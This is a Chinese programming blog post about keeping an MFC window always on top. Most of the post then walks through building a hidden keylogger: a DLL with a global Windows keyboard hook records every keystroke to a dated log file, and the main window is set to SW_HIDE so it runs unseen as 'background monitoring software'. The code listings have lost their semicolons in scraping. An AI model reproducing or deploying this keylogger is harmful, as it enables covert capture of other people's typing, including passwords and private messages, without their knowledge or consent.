如何让我的mfc应用程序可以在最上面

如何让我的mfc应用程序可以在最上面,第1张

让用户选择"总是在最上面"最好是在系统菜单里加入一个选项.可以通过修改WM_SYSCOMMAND消息来发送用户的选择.菜单的命令标识(id)会作为一个参数传给OnSysCommand().要定义标识(id),将如下代码加入到CMainFrame.CPP中:

#define WM_ALWAYSONTOP WM_USER + 1

将"总在最上面"的菜单项加入到系统菜单中,将如下代码加入到函数CMainFrame::OnCreate()中:

CMenu* pSysMenu = GetSystemMenu(FALSE)

pSysMenu->AppendMenu(MF_SEPARATOR)

pSysMenu->AppendMenu(MF_STRING, WM_ALWAYSONTOP,

"&Always On Top")

使用ClassWizard,加入对WM_SYSCOMMAND消息的处理,你应该改变消息过滤器,使用系统可以处理这个消息.

void CMainFrame::OnSysCommand(UINT nID, LPARAM lParam)

{

switch ( nID )

{

case WM_ALWAYSONTOP:

if ( GetExStyle() &WS_EX_TOPMOST )

{

SetWindowPos(&wndNoTopMost, 0, 0, 0, 0,

SWP_NOSIZE | SWP_NOMOVE)

GetSystemMenu(FALSE)->CheckMenuItem(WM_ALWAYSONTOP,

MF_UNCHECKED)

}

else

{

SetWindowPos(&wndTopMost, 0, 0, 0, 0,

SWP_NOSIZE | SWP_NOMOVE)

GetSystemMenu(FALSE)->CheckMenuItem(WM_ALWAYSONTOP,MF_CHECKED)

}

break

default:

CFrameWnd::OnSysCommand(nID, lParam)

}

}

窗体不再顶层是接收不到hotkey消息,必须安装全局键盘钩子

本示例程序用到全局钩子函数,程序分两部分:可执行程序KeyHook和动态连接库LaunchDLL。

1、首先编制MFC扩展动态连接库LaunchDLL.dll:

(1)选择MFC AppWizard(DLL)创建项目LaunchDLL;在接下来的选项中选择Regular statically linked to MFC DLL(标准静态链接MFC DLL)。

(2)在LaunchDLL.h中添加宏定义和待导出函数的声明:

#define DllExport __declspec(dllexport)

……

DllExport void WINAPI InstallLaunchEv()

……

class CLaunchDLLApp : public CWinApp

{

public:

CLaunchDLLApp()

//{{AFX_VIRTUAL(CLaunchDLLApp)

//}}AFX_VIRTUAL

//{{AFX_MSG(CLaunchDLLApp)

// NOTE - the ClassWizard will add and remove member functions here.

// DO NOT EDIT what you see in these blocks of generated code !

//}}AFX_MSG

DECLARE_MESSAGE_MAP()

}

(3)在LaunchDLL.cpp中添加全局变量Hook和全局函数LauncherHook、SaveLog:

HHOOK Hook

LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)

void SaveLog(char* c)

(4)完成以上提到的这几个函数的实现部分:

……

CLaunchDLLApp theApp

……

DllExport void WINAPI InstallLaunchEv()

{

Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,

(HOOKPROC)LauncherHook,

theApp.m_hInstance,

0)

}

在此我们实现了Windows的系统钩子的安装,首先要调用SDK中的API函数SetWindowsHookEx来安装这个钩子函数,其原型是:

HHOOK SetWindowsHookEx(int idHook,

HOOKPROC lpfn,

HINSTANCE hMod,

DWORD dwThreadId)

其中,第一个参数指定钩子的类型,常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等,在此我们只关心键盘 *** 作所以设定为 WH_KEYBOARD;第二个参数标识钩子函数的入口地址,当钩子钩到任何消息后便调用这个函数,即当不管系统的哪个窗口有键盘输入马上会引起 LauncherHook的动作;第三个参数是钩子函数所在模块的句柄,我们可以很简单的设定其为本应用程序的实例句柄;最后一个参数是钩子相关函数的 ID用以指定想让钩子去钩哪个线程,为0时则拦截整个系统的消息,在本程序中钩子需要为全局钩子,故设定为0。

……

LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)

{

LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam)

if(nCode==HC_ACTION)

{

if(lParam & 0x80000000)

{

char c[1]

c[0]=wParam

SaveLog(c)

}

}

return Result

}

……

void SaveLog(char* c)

{

CTime tm=CTime::GetCurrentTime()

CString name

name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay())

CFile file

if(!file.Open(name,CFile::modeReadWrite))

{

file.Open(name,CFile::modeCreate|CFile::modeReadWrite)

}

file.SeekToEnd()

file.Write(c,1)

file.Close()

}

当有键d起的时候就通过此函数将刚d起的键保存到记录文件中从而实现对键盘进行监控记录的目的。

编译完成便可得到运行时所需的键盘钩子的动态连接库LaunchDLL.dll和进行静态链接时用到的LaunchDLL.lib。

2、下面开始编写调用此动态连接库的主程序,并实现最后的集成:

(1)用MFC的AppWizard(EXE)创建项目KeyHook;

(2)选择单文档,其余几步可均为确省;

(3)把LaunchDLL.h和LaunchDLL.lib复制到KeyHook工程目录中,LaunchDLL.dll复制到Debug目录下。

(4)链接DLL库,即在"Project","Settings…"的"Link"属性页内,在"Object/librarymodules:"中填 入"LaunchDLL.lib"。再通过"Project","Add To Project","Files…"将LaunchDLL.h添加到工程中来,最后在视类的源文件KeyHook.cpp中加入对其的引用:

#include "LaunchDLL.h"

这样我们就可以象使用本工程内的 函数一样使用动态连接库LaunchDLL.dll中的所有导出函数了。

(5)在视类中添加虚函数OnInitialUpdate(),并添加代码完成对键盘钩子的安装:

……

InstallLaunchEv()

……

(6)到此为止其实已经完成了所有的功能,但作为一个后台监控软件,运行时并不希望有界面,可以在应用程序类CkeyHookApp的 InitInstance()函数中将m_pMainWnd->ShowWindow(SW_SHOW)改为 m_pMainWnd->ShowWindow (SW_HIDE)即可。

四、运行与检测

编译运行程序,运行起来之后并无什么现象,但通过Alt+Ctrl+Del在关闭程序对话框内可以找到我们刚编写完毕的程序"KeyHook",随便在什么程序中通过键盘输入字符,然后打开记录文件,我们会发现:通过键盘钩子,我们刚才输入的字符都被记录到记录文件中了。


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/11258046.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-14
下一篇 2023-05-14

发表评论

登录后才能评论

评论列表(0条)

保存